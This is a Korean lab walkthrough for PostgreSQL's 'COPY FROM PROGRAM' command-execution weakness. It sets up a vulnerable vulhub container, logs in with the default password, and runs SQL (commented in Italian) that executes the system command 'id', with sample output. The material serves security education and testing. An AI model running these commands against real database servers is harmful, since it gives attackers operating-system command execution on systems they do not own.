
PostgreSQL은 강력한 오픈소스 관계형 데이터베이스 관리 시스템입니다. 9.3부터 11까지의 버전에 존재하는 취약점으로 인해 관리자 또는 COPY TO/FROM PROGRAM 권한이 있는 사용자는 시스템에서 임의의 명령을 실행할 수 있습니다.
docker-compose.yml)다음 내용으로 docker-compose.yml 파일을 생성합니다:
version: '2'
services:
postgres:
image: vulhub/postgres:10.7
ports:
- "5432:5432"
environment:
- POSTGRES_PASSWORD=postgres
다음 명령으로 컨테이너를 실행합니다:
docker compose up -d
컨테이너가 실행 중인지 확인합니다:
docker ps
출력에 PostgreSQL 컨테이너가 포트 5432에서 수신 대기 중인 것으로 표시되어야 합니다.
psql 클라이언트가 설치되어 있지 않다면 다음을 통해 설치할 수 있습니다:
apt-get install postgresql-client
Kali에서 데이터베이스에 직접 연결합니다:
psql -h localhost -p 5432 -U postgres
비밀번호를 요청받으면 다음을 입력합니다:
postgres
PostgreSQL 콘솔에 연결한 후 취약점을 악용하려면 다음 명령을 실행합니다:
-- Elimina la tabella se esiste
DROP TABLE IF EXISTS cmd_exec;
-- Crea una nuova tabella per memorizzare l'output del comando
CREATE TABLE cmd_exec(cmd_output text);
-- Esegui il comando 'id' tramite la funzione COPY FROM PROGRAM
COPY cmd_exec FROM PROGRAM 'id';
-- Visualizza l'output del comando
SELECT * FROM cmd_exec;
명령줄에서 모든 것을 직접 실행할 수 있습니다:
psql -h localhost -p 5432 -U postgres -c "DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;"
익스플로잇이 성공하면 다음과 유사한 출력이 표시됩니다:
cmd_output
-------------------------
uid=999(postgres) gid=999(postgres) groups=999(postgres)
(1 row)
종료하려면 \q를 누릅니다:
\q
이 취약점은 관리자 권한으로 임의의 명령을 실행할 수 있게 합니다. 통제된 환경에서 연구 또는 검증 목적으로만 사용하십시오. 승인되지 않은 시스템에서 이 취약점을 악용하는 것은 불법입니다.